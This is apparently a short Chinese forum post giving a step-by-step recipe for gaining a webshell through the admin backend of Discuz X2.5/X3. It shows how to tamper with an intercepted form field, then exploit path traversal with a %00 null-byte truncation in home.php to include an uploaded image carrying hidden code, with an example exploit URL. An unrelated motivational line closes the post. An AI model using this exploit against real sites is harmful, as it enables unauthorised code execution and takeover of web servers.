dz3.0/2.5 后台拿shell[Discuz 后台拿shell]

开始引用：用户 – 用户栏目 – 栏目分组 抓包Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"改为Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]"访问/home.php?mod=spacecp&id=../../robots.txt%0057虽然涉及0x00截断 但无视 GPC利用:

原帖测试的是dz x3，我测试的是dz x2.5无视gpc

*********************************************************************

1.首先进后台，抓个包

2.改包

将Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"改为 Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]"提交

3.提交过后访问/home.php?mod=spacecp&id=../../robots.txt%00

4.找个地方上传图片马

5.访问图片马

http://192.168.2.190//home.php?mod=spacecp&id=../../data/attachment/forum/201305/24/122111m1464cdtfkc0stt1.gif%00 

就微笑着同清风合力染绿大地，这样才算善待生命，不负年华。